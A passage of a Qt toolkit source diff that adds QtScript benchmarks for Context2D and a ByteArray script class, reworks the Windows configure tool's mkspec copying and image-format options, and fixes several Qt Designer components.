+ context->setSize(150, 150); // Hard-coded in many of the scripts.
+ m_canvas = new QContext2DCanvas(context, m_env);
+ m_canvas->setFixedSize(context->size());
+ m_canvas->setObjectName("tutorial"); // Acts as the DOM element ID.
+ m_env->addCanvas(m_canvas);
+}
+
+void tst_Context2D::singleExecution_data()
+{
+ QTest::addColumn<QString>("testName");
+ QFileInfoList testFileInfos = testsDir.entryInfoList(QStringList() << "*.js", QDir::Files);
+ foreach (QFileInfo tfi, testFileInfos) {
+ QString name = tfi.baseName();
+ QTest::newRow(name.toLatin1().constData()) << name;
+ }
+}
+
+void tst_Context2D::singleExecution()
+{
+ QFETCH(QString, testName);
+ QString script = readFile(testsDir.absoluteFilePath(testName + ".js"));
+ QVERIFY(!script.isEmpty());
+
+ newEnvironment();
+ QBENCHMARK {
+ m_env->evaluate(script, testName);
+ // Some of the scripts (e.g. plasma.js) merely start a timer and do
+ // the actual drawing in the timer event. Trigger the timers now to
+ // ensure that the real work is done.
+ m_env->triggerTimers();
+ }
+ QVERIFY(!m_env->engine()->hasUncaughtException());
+}
+
+void tst_Context2D::repeatedExecution_data()
+{
+ // We look for scripts that register an interval timer.
+ // Such scripts run a function every n milliseconds to update the canvas.
+ // The benchmark will execute this function repeatedly, which can allow
+ // us to observe potential effects of profiling-based JIT optimizations.
+ QTest::addColumn<QString>("testName");
+ QTest::addColumn<QString>("script");
+ QFileInfoList testFileInfos = testsDir.entryInfoList(QStringList() << "*.js", QDir::Files);
+ foreach (QFileInfo tfi, testFileInfos) {
+ QString script = readFile(tfi.absoluteFilePath());
+ QString name = tfi.baseName();
+ newEnvironment();
+ m_env->evaluate(script, name);
+ if (m_env->engine()->hasUncaughtException())
+ continue;
+ if (m_env->hasIntervalTimers())
+ QTest::newRow(name.toLatin1().constData()) << name << script;
+ }
+}
+
+void tst_Context2D::repeatedExecution()
+{
+ QFETCH(QString, testName);
+ QFETCH(QString, script);
+
+ newEnvironment();
+ m_env->evaluate(script, testName);
+ QBENCHMARK {
+ // Trigger the update function repeatedly, effectively
+ // performing several frames of animation.
+ for (int i = 0; i < 16; ++i)
+ m_env->triggerTimers();
+ }
+ QVERIFY(!m_env->engine()->hasUncaughtException());
+}
+
+QTEST_MAIN(tst_Context2D)
+#include "tst_context2d.moc"
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.pro b/tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.pro
new file mode 100644
index 0000000..d64f705
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.pro
@@ -0,0 +1,10 @@
+load(qttest_p4)
+TEMPLATE = app
+TARGET = tst_bench_qscriptclass_bytearray
+
+SOURCES += tst_qscriptclass_bytearray.cpp
+RESOURCES += qscriptclass_bytearray.qrc
+
+include($$QT_SOURCE_TREE/examples/script/customclass/bytearrayclass.pri)
+
+QT = core script
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.qrc b/tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.qrc
new file mode 100644
index 0000000..a894ee5
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.qrc
@@ -0,0 +1,5 @@
+<!DOCTYPE RCC><RCC version="1.0">
+<qresource>
+ <file>tests</file>
+</qresource>
+</RCC>
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/construct-copy.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/construct-copy.js
new file mode 100644
index 0000000..9c03871
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/construct-copy.js
@@ -0,0 +1,3 @@
+ba = new ByteArray(123);
+for (i = 0; i < 5000; ++i)
+ new ByteArray(ba);
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/construct.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/construct.js
new file mode 100644
index 0000000..2c2bbf5
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/construct.js
@@ -0,0 +1,2 @@
+for (i = 0; i < 5000; ++i)
+ new ByteArray(123);
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/for-in.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/for-in.js
new file mode 100644
index 0000000..46bc9f3
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/for-in.js
@@ -0,0 +1,3 @@
+ba = new ByteArray(8000);
+for (var p in ba)
+ ;
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/get-element.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/get-element.js
new file mode 100644
index 0000000..9f6a503
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/get-element.js
@@ -0,0 +1,3 @@
+ba = new ByteArray(123);
+for (i = 0; i < 10000; ++i)
+ ba[10];
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/get-length.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/get-length.js
new file mode 100644
index 0000000..5de2f58
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/get-length.js
@@ -0,0 +1,3 @@
+ba = new ByteArray(123);
+for (i = 0; i < 10000; ++i)
+ ba.length;
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/mid.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/mid.js
new file mode 100644
index 0000000..752d875
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/mid.js
@@ -0,0 +1,3 @@
+ba = new ByteArray(123);
+for (i = 0; i < 3000; ++i)
+ ba.mid(50);
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/set-element.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/set-element.js
new file mode 100644
index 0000000..4883765
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/set-element.js
@@ -0,0 +1,3 @@
+ba = new ByteArray(123);
+for (i = 0; i < 10000; ++i)
+ ba[10] = 123;
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/set-length.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/set-length.js
new file mode 100644
index 0000000..18c9f59
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/set-length.js
@@ -0,0 +1,3 @@
+ba = new ByteArray();
+for (i = 0; i < 10000; ++i)
+ ba.length = 123;
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/sum.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/sum.js
new file mode 100644
index 0000000..096937d
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/sum.js
@@ -0,0 +1,8 @@
+function sum(ba) {
+ var result = 0;
+ for (var i = 0; i < ba.length; ++i)
+ result += ba[i];
+ return result;
+}
+
+sum(new ByteArray(10000));
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/trimmed.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/trimmed.js
new file mode 100644
index 0000000..967dba6
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/trimmed.js
@@ -0,0 +1,3 @@
+ba = new ByteArray(123);
+for (i = 0; i < 3000; ++i)
+ ba.trimmed();
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tst_qscriptclass_bytearray.cpp b/tests/benchmarks/script/qscriptclass_bytearray/tst_qscriptclass_bytearray.cpp
new file mode 100644
index 0000000..351adc8
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/tst_qscriptclass_bytearray.cpp
@@ -0,0 +1,109 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qtest.h>
+#include <QtCore/qdir.h>
+#include <QtCore/qfile.h>
+#include <QtCore/qtextstream.h>
+#include <QtScript/qscriptengine.h>
+#include <QtScript/qscriptvalue.h>
+#include "bytearrayclass.h"
+
+static QString readFile(const QString &filename)
+{
+ QFile file(filename);
+ if (!file.open(QFile::ReadOnly))
+ return QString();
+ QTextStream stream(&file);
+ stream.setCodec("UTF-8");
+ return stream.readAll();
+}
+
+class tst_QScriptClass_ByteArray : public QObject
+{
+ Q_OBJECT
+
+public:
+ tst_QScriptClass_ByteArray();
+
+private slots:
+ void benchmark_data();
+ void benchmark();
+
+private:
+ QDir testsDir;
+};
+
+tst_QScriptClass_ByteArray::tst_QScriptClass_ByteArray()
+{
+ testsDir = QDir(":/tests");
+ if (!testsDir.exists())
+ qWarning("*** no tests/ dir!");
+}
+
+void tst_QScriptClass_ByteArray::benchmark_data()
+{
+ QTest::addColumn<QString>("testName");
+ QFileInfoList testFileInfos = testsDir.entryInfoList(QStringList() << "*.js", QDir::Files);
+ foreach (QFileInfo tfi, testFileInfos) {
+ QString name = tfi.baseName();
+ QTest::newRow(name.toLatin1().constData()) << name;
+ }
+}
+
+void tst_QScriptClass_ByteArray::benchmark()
+{
+ QFETCH(QString, testName);
+ QString testContents = readFile(testsDir.absoluteFilePath(testName + ".js"));
+ QVERIFY(!testContents.isEmpty());
+
+ QScriptEngine eng;
+ ByteArrayClass *baClass = new ByteArrayClass(&eng);
+ eng.globalObject().setProperty("ByteArray", baClass->constructor());
+
+ QBENCHMARK {
+ eng.evaluate(testContents);
+ }
+ QVERIFY(!eng.hasUncaughtException());
+}
+
+QTEST_MAIN(tst_QScriptClass_ByteArray)
+#include "tst_qscriptclass_bytearray.moc"
diff --git a/tests/benchmarks/script/script.pro b/tests/benchmarks/script/script.pro
index b0770ca..d4fc822 100644
--- a/tests/benchmarks/script/script.pro
+++ b/tests/benchmarks/script/script.pro
@@ -1,6 +1,8 @@
TEMPLATE = subdirs
SUBDIRS = \
+ context2d \
qscriptclass \
+ qscriptclass_bytearray \
qscriptengine \
qscriptvalue \
sunspider \
@@ -13,4 +15,4 @@ TRUSTED_BENCHMARKS += \
qscriptvalue \
qscriptengine
-include(../trusted-benchmarks.pri) \ No newline at end of file
+include(../trusted-benchmarks.pri)
diff --git a/tools/assistant/tools/assistant/helpviewer_qwv.cpp b/tools/assistant/tools/assistant/helpviewer_qwv.cpp
index 2d31ad7..efb9b59 100644
--- a/tools/assistant/tools/assistant/helpviewer_qwv.cpp
+++ b/tools/assistant/tools/assistant/helpviewer_qwv.cpp
@@ -379,7 +379,7 @@ bool HelpViewer::findText(const QString &text, FindFlags flags, bool incremental
bool fromSearch)
{
TRACE_OBJ
- Q_UNUSED((incremental && fromSearch))
+ Q_UNUSED(incremental); Q_UNUSED(fromSearch);
QWebPage::FindFlags options = QWebPage::FindWrapsAroundDocument;
if (flags & FindBackward)
options |= QWebPage::FindBackward;
diff --git a/tools/configure/configure.pro b/tools/configure/configure.pro
index 608d876..1245646 100644
--- a/tools/configure/configure.pro
+++ b/tools/configure/configure.pro
@@ -65,6 +65,7 @@ HEADERS = configureapp.h environment.h tools.h\
$$QT_SOURCE_TREE/src/corelib/tools/qstringlist.h \
$$QT_SOURCE_TREE/src/corelib/tools/qstringmatcher.h \
$$QT_SOURCE_TREE/src/corelib/tools/qunicodetables_p.h \
+ $$QT_SOURCE_TREE/src/corelib/kernel/qsystemerror_p.h \
$$QT_SOURCE_TREE/src/corelib/xml/qxmlstream.h \
$$QT_SOURCE_TREE/src/corelib/xml/qxmlutils_p.h \
$$QT_SOURCE_TREE/tools/shared/symbian/epocroot_p.h \
@@ -111,6 +112,7 @@ SOURCES = main.cpp configureapp.cpp environment.cpp tools.cpp \
$$QT_SOURCE_TREE/src/corelib/tools/qunicodetables.cpp \
$$QT_SOURCE_TREE/src/corelib/tools/qvsnprintf.cpp \
$$QT_SOURCE_TREE/src/corelib/kernel/qvariant.cpp \
+ $$QT_SOURCE_TREE/src/corelib/kernel/qsystemerror.cpp \
$$QT_SOURCE_TREE/src/corelib/io/qurl.cpp \
$$QT_SOURCE_TREE/src/corelib/tools/qline.cpp \
$$QT_SOURCE_TREE/src/corelib/tools/qsize.cpp \
diff --git a/tools/configure/configureapp.cpp b/tools/configure/configureapp.cpp
index 0c172e8..19cef9a 100644
--- a/tools/configure/configureapp.cpp
+++ b/tools/configure/configureapp.cpp
@@ -437,6 +437,7 @@ void Configure::parseCmdLine()
{
int argCount = configCmdLine.size();
int i = 0;
+ const QStringList imageFormats = QStringList() << "gif" << "png" << "mng" << "jpeg" << "tiff";
#if !defined(EVAL)
if (argCount < 1) // skip rest if no arguments
@@ -829,6 +830,17 @@ void Configure::parseCmdLine()
dictionary[ "SQL_IBASE" ] = "plugin";
else if (configCmdLine.at(i) == "-no-sql-ibase")
dictionary[ "SQL_IBASE" ] = "no";
+
+ // Image formats --------------------------------------------
+ else if (configCmdLine.at(i).startsWith("-qt-imageformat-") &&
+ imageFormats.contains(configCmdLine.at(i).section('-', 3)))
+ dictionary[ configCmdLine.at(i).section('-', 3).toUpper() ] = "yes";
+ else if (configCmdLine.at(i).startsWith("-plugin-imageformat-") &&
+ imageFormats.contains(configCmdLine.at(i).section('-', 3)))
+ dictionary[ configCmdLine.at(i).section('-', 3).toUpper() ] = "plugin";
+ else if (configCmdLine.at(i).startsWith("-no-imageformat-") &&
+ imageFormats.contains(configCmdLine.at(i).section('-', 3)))
+ dictionary[ configCmdLine.at(i).section('-', 3).toUpper() ] = "no";
#endif
// IDE project generation -----------------------------------
else if (configCmdLine.at(i) == "-no-dsp")
@@ -1029,6 +1041,8 @@ void Configure::parseCmdLine()
QString("\\resource\\qt%1\\plugins").arg(dictionary[ "QT_LIBINFIX" ]);
dictionary[ "QT_INSTALL_IMPORTS" ] =
QString("\\resource\\qt%1\\imports").arg(dictionary[ "QT_LIBINFIX" ]);
+ dictionary[ "QT_INSTALL_TRANSLATIONS" ] =
+ QString("\\resource\\qt%1\\translations").arg(dictionary[ "QT_LIBINFIX" ]);
}
} else if (configCmdLine.at(i) == "-D") {
++i;
@@ -3251,8 +3265,7 @@ void Configure::generateConfigfiles()
}
// Copy configured mkspec to default directory, but remove the old one first, if there is any
- QString mkspecsPath = buildPath + "/mkspecs";
- QString defSpec = mkspecsPath + "/default";
+ QString defSpec = buildPath + "/mkspecs/default";
QFileInfo defSpecInfo(defSpec);
if (defSpecInfo.exists()) {
if (!Environment::rmdir(defSpec)) {
@@ -3262,30 +3275,13 @@ void Configure::generateConfigfiles()
}
}
- QDir mkspecsDir(mkspecsPath);
- if (!mkspecsDir.mkdir("default")) {
- cout << "Couldn't create default mkspec dir!" << endl;
- dictionary["DONE"] = "error";
- return;
- }
-
QString spec = dictionary.contains("XQMAKESPEC") ? dictionary["XQMAKESPEC"] : dictionary["QMAKESPEC"];
QString pltSpec = sourcePath + "/mkspecs/" + spec;
- outName = defSpec + "/qmake.conf";
- QFile qmakeConfFile(outName);
- if (qmakeConfFile.open(QFile::WriteOnly | QFile::Text)) {
- QTextStream qmakeConfStream;
- qmakeConfStream.setDevice(&qmakeConfFile);
- // While QMAKESPEC_ORIGINAL being relative or absolute doesn't matter for the
- // primary use of this variable by qmake to identify the original mkspec, the
- // variable is also used for few special cases where the absolute path is required.
- // Conversely, the include of the original qmake.conf must be done using relative path,
- // as some Qt binary deployments are done in a manner that doesn't allow for patching
- // the paths at the installation time.
- qmakeConfStream << "QMAKESPEC_ORIGINAL=" << pltSpec << endl << endl;
- qmakeConfStream << "include(" << "../" << spec << "/qmake.conf)" << endl << endl;
- qmakeConfStream.flush();
- qmakeConfFile.close();
+ QString includeSpec = buildPath + "/mkspecs/" + spec;
+ if (!Environment::cpdir(pltSpec, defSpec, includeSpec)) {
+ cout << "Couldn't update default mkspec! Does " << qPrintable(pltSpec) << " exist?" << endl;
+ dictionary["DONE"] = "error";
+ return;
}
// Generate the new qconfig.cpp file
@@ -3449,8 +3445,12 @@ void Configure::displayConfig()
webkit = "yes (debug)";
cout << "WebKit support.............." << webkit << endl;
}
- cout << "Declarative support........." << dictionary[ "DECLARATIVE" ] << endl;
- cout << "Declarative debugging......." << dictionary[ "DECLARATIVE_DEBUG" ] << endl;
+ {
+ QString declarative = dictionary[ "DECLARATIVE" ];
+ cout << "Declarative support........." << declarative << endl;
+ if (declarative == "yes")
+ cout << "Declarative debugging......." << dictionary[ "DECLARATIVE_DEBUG" ] << endl;
+ }
cout << "QtScript support............" << dictionary[ "SCRIPT" ] << endl;
cout << "QtScriptTools support......." << dictionary[ "SCRIPTTOOLS" ] << endl;
cout << "Graphics System............." << dictionary[ "GRAPHICS_SYSTEM" ] << endl;
@@ -3581,7 +3581,11 @@ void Configure::generateHeaders()
QStringList env;
env += QString("QTDIR=" + sourcePath);
env += QString("PATH=" + buildPath + "/bin/;" + qgetenv("PATH"));
- Environment::execute(args, env, QStringList());
+ int retc = Environment::execute(args, env, QStringList());
+ if (retc) {
+ cout << "syncqt failed, return code " << retc << endl << endl;
+ dictionary["DONE"] = "error";
+ }
}
}
diff --git a/tools/configure/environment.cpp b/tools/configure/environment.cpp
index 8040c7a..1885955 100644
--- a/tools/configure/environment.cpp
+++ b/tools/configure/environment.cpp
@@ -397,10 +397,25 @@ int Environment::execute(QStringList arguments, const QStringList &additionalEnv
return exitCode;
}
-bool Environment::cpdir(const QString &srcDir, const QString &destDir)
+/*!
+ Copies the \a srcDir contents into \a destDir.
+
+ If \a includeSrcDir is not empty, any files with 'h', 'prf', or 'conf' suffixes
+ will not be copied over from \a srcDir. Instead a new file will be created
+ in \a destDir with the same name and that file will include a file with the
+ same name from the \a includeSrcDir using relative path and appropriate
+ syntax for the file type.
+
+ Returns true if copying was successful.
+*/
+bool Environment::cpdir(const QString &srcDir,
+ const QString &destDir,
+ const QString &includeSrcDir)
{
QString cleanSrcName = QDir::cleanPath(srcDir);
QString cleanDstName = QDir::cleanPath(destDir);
+ QString cleanIncludeName = QDir::cleanPath(includeSrcDir);
+
#ifdef CONFIGURE_DEBUG_CP_DIR
qDebug() << "Attempt to cpdir " << cleanSrcName << "->" << cleanDstName;
#endif
@@ -411,21 +426,59 @@ bool Environment::cpdir(const QString &srcDir, const QString &destDir)
bool result = true;
QDir dir = QDir(cleanSrcName);
+ QDir destinationDir = QDir(cleanDstName);
QFileInfoList allEntries = dir.entryInfoList(QDir::AllDirs | QDir::Files | QDir::NoDotAndDotDot);
for (int i = 0; result && (i < allEntries.count()); ++i) {
QFileInfo entry = allEntries.at(i);
bool intermediate = true;
if (entry.isDir()) {
+ QString newIncSrcDir;
+ if (!includeSrcDir.isEmpty())
+ newIncSrcDir = QString("%1/%2").arg(cleanIncludeName).arg(entry.fileName());
+
intermediate = cpdir(QString("%1/%2").arg(cleanSrcName).arg(entry.fileName()),
- QString("%1/%2").arg(cleanDstName).arg(entry.fileName()));
+ QString("%1/%2").arg(cleanDstName).arg(entry.fileName()),
+ newIncSrcDir);
} else {
QString destFile = QString("%1/%2").arg(cleanDstName).arg(entry.fileName());
#ifdef CONFIGURE_DEBUG_CP_DIR
qDebug() << "About to cp (file)" << entry.absoluteFilePath() << "->" << destFile;
#endif
QFile::remove(destFile);
- intermediate = QFile::copy(entry.absoluteFilePath(), destFile);
- SetFileAttributes((wchar_t*)destFile.utf16(), FILE_ATTRIBUTE_NORMAL);
+ QString suffix = entry.suffix();
+ if (!includeSrcDir.isEmpty() && (suffix == "prf" || suffix == "conf" || suffix == "h")) {
+ QString relativeIncludeFilePath = QString("%1/%2").arg(cleanIncludeName).arg(entry.fileName());
+ relativeIncludeFilePath = destinationDir.relativeFilePath(relativeIncludeFilePath);
+#ifdef CONFIGURE_DEBUG_CP_DIR
+ qDebug() << "...instead generate relative include to" << relativeIncludeFilePath;
+#endif
+ QFile currentFile(destFile);
+ if (currentFile.open(QFile::WriteOnly | QFile::Text)) {
+ QTextStream fileStream;
+ fileStream.setDevice(&currentFile);
+
+ if (suffix == "prf" || suffix == "conf") {
+ if (entry.fileName() == "qmake.conf") {
+ // While QMAKESPEC_ORIGINAL being relative or absolute doesn't matter for the
+ // primary use of this variable by qmake to identify the original mkspec, the
+ // variable is also used for few special cases where the absolute path is required.
+ // Conversely, the include of the original qmake.conf must be done using relative path,
+ // as some Qt binary deployments are done in a manner that doesn't allow for patching
+ // the paths at the installation time.
+ fileStream << "QMAKESPEC_ORIGINAL=" << cleanSrcName << endl << endl;
+ }
+ fileStream << "include(" << relativeIncludeFilePath << ")" << endl << endl;
+ } else if (suffix == "h") {
+ fileStream << "#include \"" << relativeIncludeFilePath << "\"" << endl << endl;
+ }
+
+ fileStream.flush();
+ currentFile.close();
+ }
+ } else {
+ intermediate = QFile::copy(entry.absoluteFilePath(), destFile);
+ SetFileAttributes((wchar_t*)destFile.utf16(), FILE_ATTRIBUTE_NORMAL);
+ }
}
if(!intermediate) {
qDebug() << "cpdir: Failure for " << entry.fileName() << entry.isDir();
diff --git a/tools/configure/environment.h b/tools/configure/environment.h
index 6bb962f..faee63f 100644
--- a/tools/configure/environment.h
+++ b/tools/configure/environment.h
@@ -65,7 +65,9 @@ public:
static bool detectExecutable(const QString &executable);
static int execute(QStringList arguments, const QStringList &additionalEnv, const QStringList &removeEnv);
- static bool cpdir(const QString &srcDir, const QString &destDir);
+ static bool cpdir(const QString &srcDir,
+ const QString &destDir,
+ const QString &includeSrcDir = QString());
static bool rmdir(const QString &name);
static QString symbianEpocRoot();
diff --git a/tools/designer/src/components/propertyeditor/propertyeditor.cpp b/tools/designer/src/components/propertyeditor/propertyeditor.cpp
index 521b5cb..9f298d0 100644
--- a/tools/designer/src/components/propertyeditor/propertyeditor.cpp
+++ b/tools/designer/src/components/propertyeditor/propertyeditor.cpp
@@ -91,6 +91,7 @@ static const char *ViewKeyC = "View";
static const char *ColorKeyC = "Colored";
static const char *SortedKeyC = "Sorted";
static const char *ExpansionKeyC = "ExpandedItems";
+static const char *SplitterPositionKeyC = "SplitterPosition";
enum SettingsView { TreeView, ButtonView };
@@ -365,10 +366,12 @@ PropertyEditor::PropertyEditor(QDesignerFormEditorInterface *core, QWidget *pare
m_sorting = settings->value(QLatin1String(SortedKeyC), false).toBool();
m_coloring = settings->value(QLatin1String(ColorKeyC), true).toBool();
const QVariantMap expansionState = settings->value(QLatin1String(ExpansionKeyC), QVariantMap()).toMap();
+ const int splitterPosition = settings->value(QLatin1String(SplitterPositionKeyC), 150).toInt();
settings->endGroup();
// Apply settings
m_sortingAction->setChecked(m_sorting);
m_coloringAction->setChecked(m_coloring);
+ m_treeBrowser->setSplitterPosition(splitterPosition);
#if QT_VERSION >= 0x040500
switch (view) {
case TreeView:
@@ -415,6 +418,7 @@ void PropertyEditor::saveSettings() const
expansionState.insert(it.key(), QVariant(it.value()));
}
settings->setValue(QLatin1String(ExpansionKeyC), expansionState);
+ settings->setValue(QLatin1String(SplitterPositionKeyC), m_treeBrowser->splitterPosition());
settings->endGroup();
}
diff --git a/tools/designer/src/components/signalsloteditor/signalslot_utils.cpp b/tools/designer/src/components/signalsloteditor/signalslot_utils.cpp
index f396df2..ac1fe1c 100644
--- a/tools/designer/src/components/signalsloteditor/signalslot_utils.cpp
+++ b/tools/designer/src/components/signalsloteditor/signalslot_utils.cpp
@@ -72,7 +72,6 @@ static void memberList(QDesignerFormEditorInterface *core,
{
if (!object)
return;
-
// 1) member sheet
const QDesignerMemberSheetExtension *members = qt_extension<QDesignerMemberSheetExtension*>(core->extensionManager(), object);
Q_ASSERT(members != 0);
@@ -118,15 +117,15 @@ static void memberList(QDesignerFormEditorInterface *core,
if (!metaDataBase)
return;
- const qdesigner_internal::MetaDataBaseItem *mdbItem = metaDataBase->metaDataBaseItem(object);
- Q_ASSERT(mdbItem);
- const QStringList mdbFakeMethods = member_type == qdesigner_internal::SlotMember ? mdbItem->fakeSlots() : mdbItem->fakeSignals();
- if (!mdbFakeMethods.empty())
- foreach (const QString &fakeMethod, mdbFakeMethods)
- if (predicate(fakeMethod)) {
- *it = ClassNameSignaturePair(className, fakeMethod);
- ++it;
- }
+ if (const qdesigner_internal::MetaDataBaseItem *mdbItem = metaDataBase->metaDataBaseItem(object)) {
+ const QStringList mdbFakeMethods = member_type == qdesigner_internal::SlotMember ? mdbItem->fakeSlots() : mdbItem->fakeSignals();
+ if (!mdbFakeMethods.empty())
+ foreach (const QString &fakeMethod, mdbFakeMethods)
+ if (predicate(fakeMethod)) {
+ *it = ClassNameSignaturePair(className, fakeMethod);
+ ++it;
+ }
+ }
}
namespace {
@@ -245,10 +244,14 @@ namespace qdesigner_internal {
ClassesMemberFunctions reverseClassesMemberFunctions(const QString &obj_name, MemberType member_type,
const QString &peer, QDesignerFormWindowInterface *form)
{
- QObject *object = form->findChild<QObject*>(obj_name);
+ QObject *object = 0;
+ if (obj_name == form->mainContainer()->objectName()) {
+ object = form->mainContainer();
+ } else {
+ object = form->mainContainer()->findChild<QObject*>(obj_name);
+ }
if (!object)
return ClassesMemberFunctions();
-
QDesignerFormEditorInterface *core = form->core();
ClassesMemberFunctions rc;
diff --git a/tools/designer/src/components/signalsloteditor/signalsloteditorwindow.cpp b/tools/designer/src/components/signalsloteditor/signalsloteditorwindow.cpp
index 494c56b..b06a66f 100644
--- a/tools/designer/src/components/signalsloteditor/signalsloteditorwindow.cpp
+++ b/tools/designer/src/components/signalsloteditor/signalsloteditorwindow.cpp
@@ -658,8 +658,12 @@ QWidget *ConnectionDelegate::createEditor(QWidget *parent,
const qdesigner_internal::ClassesMemberFunctions class_list = qdesigner_internal::reverseClassesMemberFunctions(obj_name, type, peer, m_form);
- QObject *object = m_form->findChild<QObject*>(obj_name);
-
+ QObject *object = 0;
+ if (obj_name == m_form->mainContainer()->objectName()) {
+ object = m_form->mainContainer();
+ } else {
+ object = m_form->mainContainer()->findChild<QObject*>(obj_name);
+ }
inline_editor->addText(type == qdesigner_internal::SignalMember ? tr("<signal>") : tr("<slot>"));
foreach (const qdesigner_internal::ClassMemberFunctions &class_info, class_list) {
if (class_info.m_className.isEmpty() || class_info.m_memberList.isEmpty())
diff --git a/tools/designer/src/lib/shared/grid.cpp b/tools/designer/src/lib/shared/grid.cpp
index 6add8bd..ba991c7 100644
--- a/tools/designer/src/lib/shared/grid.cpp
+++ b/tools/designer/src/lib/shared/grid.cpp
@@ -89,12 +89,20 @@ Grid::Grid() :
bool Grid::fromVariantMap(const QVariantMap& vm)
{
- *this = Grid();
- valueFromVariantMap(vm, QLatin1String(KEY_VISIBLE), m_visible);
- valueFromVariantMap(vm, QLatin1String(KEY_SNAPX), m_snapX);
- valueFromVariantMap(vm, QLatin1String(KEY_SNAPY), m_snapY);
- valueFromVariantMap(vm, QLatin1String(KEY_DELTAX), m_deltaX);
- return valueFromVariantMap(vm, QLatin1String(KEY_DELTAY), m_deltaY);
+ Grid grid;
+ bool anyData = valueFromVariantMap(vm, QLatin1String(KEY_VISIBLE), grid.m_visible);
+ anyData |= valueFromVariantMap(vm, QLatin1String(KEY_SNAPX), grid.m_snapX);
+ anyData |= valueFromVariantMap(vm, QLatin1String(KEY_SNAPY), grid.m_snapY);
+ anyData |= valueFromVariantMap(vm, QLatin1String(KEY_DELTAX), grid.m_deltaX);
+ anyData |= valueFromVariantMap(vm, QLatin1String(KEY_DELTAY), grid.m_deltaY);
+ if (!anyData)
+ return false;
+ if (grid.m_deltaX == 0 || grid.m_deltaY == 0) {
+ qWarning("Attempt to set invalid grid with a spacing of 0.");
+ return false;
+ }
+ *this = grid;
+ return true;
}
QVariantMap Grid::toVariantMap(bool forceKeys) const
diff --git a/tools/designer/src/lib/shared/layout.cpp b/tools/designer/src/lib/shared/layout.cpp
index c9ffe71..9fe438b 100644
--- a/tools/designer/src/lib/shared/layout.cpp
+++ b/tools/designer/src/lib/shared/layout.cpp
@@ -996,13 +996,23 @@ bool Grid::shrinkFormLayoutSpans()
for (WidgetSet::const_iterator it = widgets.constBegin(); it != cend ; ++it) {
QWidget *w = *it;
int row, col, rowspan, colspan;
- locateWidget(w, row, col, rowspan, colspan);
+ if (!locateWidget(w, row, col, rowspan, colspan))
+ qDebug("ooops, widget '%s' does not fit in layout", w->objectName().toUtf8().constData());
const int maxColSpan = col == 0 ? 2 : 1;
const int newColSpan = qMin(colspan, maxColSpan);
const int newRowSpan = qMin(rowspan, maxRowSpan);
if (newColSpan != colspan || newRowSpan != rowspan) {
- setCells(QRect(col, row, colspan, rowspan), 0);
- setCells(QRect(col, row, newColSpan, newRowSpan), w);
+ // in case like this:
+ // W1 W1
+ // W1 W2
+ // do:
+ // W1 0
+ // 0 W2
+ for (int i = row; i < row + rowspan - 1; i++)
+ for (int j = col; j < col + colspan - 1; j++)
+ if (i > row + newColSpan - 1 || j > col + newRowSpan - 1)
+ if (cell(i, j) == w)
+ setCell(i, j, 0);
shrunk = true;
}
}
@@ -1177,11 +1187,7 @@ void GridLayout<GridLikeLayout, LayoutType, GridMode>::doLayout()
